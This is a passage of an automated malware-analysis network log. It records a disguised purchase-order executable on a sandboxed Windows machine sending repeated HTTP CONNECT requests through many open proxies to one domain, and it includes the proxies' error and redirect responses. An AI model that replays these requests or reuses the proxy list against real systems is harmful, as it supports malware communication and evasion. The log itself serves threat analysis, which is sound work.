Mar 11, 2024 16:42:24.419379950 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:42:24 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1126	192.168.2.11	53700	5.61.33.234	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:24.044621944 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1127	192.168.2.11	53711	115.84.248.140	8080	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:24.044914007 CET	243	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com
Mar 11, 2024 16:42:24.355354071 CET	1286	IN	HTTP/1.1 200 OK Date: Mon, 11 Mar 2024 15:42:24 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.1e-fips mod_fcgid/2.3.9 PHP/5.6.40 X-Powered-By: PHP/5.6.40 Cache-Control: max-age=0, no-cache, no-store, must-revalidate Pragma: no-cache Expires: Wed, 11 Jan 1984 05:00:00 GMT Content-Length: 3172 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 20 2f 3e 0d 0a 3c 74 69 74 6c 65 3e 54 68 65 20 55 6e 69 66 6f 72 6d 20 53 65 72 76 65 72 20 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 44 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 54 68 65 20 55 6e 69 66 6f 72 6d 20 53 65 72 76 65 72 20 5a 65 72 6f 20 31 31 2e 32 2e 30 22 20 2f 3e 0d 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 4b 65 79 77 6f 72 64 73 22 20 63 6f 6e 74 65 6e 74 3d 22 54 68 65 20 55 6e 69 66 6f 72 6d 20 53 65 72 76 65 72 2c 20 4d 50 47 2c 20 4d 69 6b 65 20 47 6c 65 61 76 65 73 2c 20 52 69 63 2c 20 55 6e 69 53 65 72 76 65 72 2c 20 4f 6c 61 6a 69 64 65 2c 20 42 6f 62 53 20 22 20 2f 3e 0d 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 68 72 65 66 3d 22 63 73 73 2f 73 74 79 6c 65 2e 63 73 73 22 20 6d 65 64 69 61 3d 22 73 63 72 65 65 6e 22 20 2f 3e 0d 0a 3c 2f 68 65 61 64 3e 0d 0a 0d 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0d 0a 2f 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2f 0d 0a 2e 69 6e 74 72 6f 7b 0d 0a 20 20 6d 61 72 67 69 6e 2d 74 6f 70 3a 33 30 70 78 3b 0d 0a 20 20 70 61 64 64 69 6e 67 3a 31 30 70 78 3b 0d 0a 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 31 32 70 78 3b 0d 0a 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 56 65 72 64 61 6e 61 3b 0d 0a 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 45 37 45 37 46 44 3b 0d 0a 7d 0d 0a 2f 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2f 0d 0a 3c 2f 73 74 79 6c 65 3e 0d 0a 0d 0a 3c 62 6f 64 79 3e 0d 0a 0d 0a 3c 64 69 76 20 69 64 3d 22 77 72 61 70 22 3e 0d 0a 20 20 3c 64 69 76 20 69 64 3d 22 68 65 61 64 65 72 22 3e 0d 0a 20 20 20 20 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 75 6e 69 66 6f 72 6d 73 65 72 76 65 72 2e 63 6f 6d 22 3e 3c 69 6d 67 20 73 72 63 3d 22 69 6d 61 67 65 73 2f 6c 6f 67 6f 2e 70 6e 67 22 20 61 6c 69 67 6e 3d 22 6c 65 66 74 22 20 61 6c 74 3d 22 54 68 65 20 55 6e 69 66 6f 72 6d 20 53 65 72 76 65 72 22 Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><meta http-equiv="Content-Type" content="text/html;charset=utf-8" /><title>The Uniform Server </title><meta name="Description" content="The Uniform Server Zero 11.2.0" /><meta name="Keywords" content="The Uniform Server, MPG, Mike Gleaves, Ric, UniServer, Olajide, BobS " /><link rel="stylesheet" type="text/css" href="css/style.css" media="screen" /></head><style type="text/css">/***************************************/.intro{ margin-top:30px; padding:10px; font-size:12px; font-family:Verdana; background-color: #E7E7FD;}/***************************************/</style><body><div id="wrap"> <div id="header"> <a href="http://www.uniformserver.com"><img src="images/logo.png" align="left" alt="The Uniform Server"
Mar 11, 2024 16:42:24.706870079 CET	454	IN	HTTP/1.1 400 Bad Request Date: Mon, 11 Mar 2024 15:42:24 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.1e-fips mod_fcgid/2.3.9 PHP/5.6.40 Content-Length: 226 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1128	192.168.2.11	51543	171.244.140.160	13391	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:24.045027971 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:27.141828060 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:30.143254995 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:36.142597914 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:48.144416094 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1129	192.168.2.11	52984	146.59.18.246	30673	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:24.045113087 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:28.376060009 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:38.485893965 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1130	192.168.2.11	53760	5.161.103.113	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:24.045119047 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1131	192.168.2.11	53694	170.84.205.17	4153	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:24.045218945 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1132	192.168.2.11	53696	45.11.95.165	5213	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:24.045281887 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1133	192.168.2.11	51547	161.49.90.70	1337	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:24.048522949 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:25.910130024 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1134	192.168.2.11	53521	117.160.250.133	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:24.057559013 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:25.329390049 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:27.250888109 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:27.867383957 CET	303	IN	HTTP/1.1 400 Bad Request Server: openresty Date: Mon, 11 Mar 2024 15:42:27 GMT Content-Type: text/html Content-Length: 154 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1135	192.168.2.11	51588	162.215.219.157	41697	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:24.061541080 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:27.188746929 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:30.298472881 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:36.376375914 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:48.376024961 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1136	192.168.2.11	53723	82.66.245.82	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:24.063931942 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:24.370745897 CET	843	IN	HTTP/1.1 500 Internal Server Error Date: Mon, 11 Mar 2024 15:42:24 GMT Server: Apache/2.4.56 (Raspbian) Content-Length: 649 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 35 30 30 20 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 73 65 72 76 65 72 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 61 6e 20 69 6e 74 65 72 6e 61 6c 20 65 72 72 6f 72 20 6f 72 0a 6d 69 73 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 61 6e 64 20 77 61 73 20 75 6e 61 62 6c 65 20 74 6f 20 63 6f 6d 70 6c 65 74 65 0a 79 6f 75 72 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 70 3e 50 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 74 68 65 20 73 65 72 76 65 72 20 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 20 61 74 20 0a 20 62 61 69 6c 6c 6f 65 75 69 6c 2e 64 79 6c 61 6e 40 6f 75 74 6c 6f 6f 6b 2e 66 72 20 74 6f 20 69 6e 66 6f 72 6d 20 74 68 65 6d 20 6f 66 20 74 68 65 20 74 69 6d 65 20 74 68 69 73 20 65 72 72 6f 72 20 6f 63 63 75 72 72 65 64 2c 0a 20 61 6e 64 20 74 68 65 20 61 63 74 69 6f 6e 73 20 79 6f 75 20 70 65 72 66 6f 72 6d 65 64 20 6a 75 73 74 20 62 65 66 6f 72 65 20 74 68 69 73 20 65 72 72 6f 72 2e 3c 2f 70 3e 0a 3c 70 3e 4d 6f 72 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 61 62 6f 75 74 20 74 68 69 73 20 65 72 72 6f 72 20 6d 61 79 20 62 65 20 61 76 61 69 6c 61 62 6c 65 0a 69 6e 20 74 68 65 20 73 65 72 76 65 72 20 65 72 72 6f 72 20 6c 6f 67 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 35 36 20 28 52 61 73 70 62 69 61 6e 29 20 53 65 72 76 65 72 20 61 74 20 68 65 79 67 69 72 6c 69 73 68 65 65 76 65 72 79 74 68 69 6e 67 79 6f 75 77 61 6e 74 65 64 69 6e 61 6d 61 6e 2e 63 6f 6d 20 50 6f 72 74 20 34 34 33 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>500 Internal Server Error</title></head><body><h1>Internal Server Error</h1><p>The server encountered an internal error ormisconfiguration and was unable to completeyour request.</p><p>Please contact the server administrator at bailloeuil.dylan@outlook.fr to inform them of the time this error occurred, and the actions you performed just before this error.</p><p>More information about this error may be availablein the server error log.</p><hr><address>Apache/2.4.56 (Raspbian) Server at heygirlisheeverythingyouwantedinaman.com Port 443</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1137	192.168.2.11	53156	45.174.87.18	999	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:24.065393925 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:27.188803911 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:30.298470974 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:36.376460075 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1138	192.168.2.11	53489	123.241.210.123	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:24.066318035 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1139	192.168.2.11	53731	188.166.17.18	8881	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:24.068794966 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1140	192.168.2.11	53715	77.91.74.77	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:24.081439018 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:24.417072058 CET	154	IN	HTTP/1.1 301 Moved Permanently Location: https://heygirlisheeverythingyouwantedinaman.com:443 Date: Mon, 11 Mar 2024 15:42:24 GMT Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1141	192.168.2.11	53768	35.190.107.16	30000	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:24.083358049 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1142	192.168.2.11	53591	117.160.250.131	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:24.093283892 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
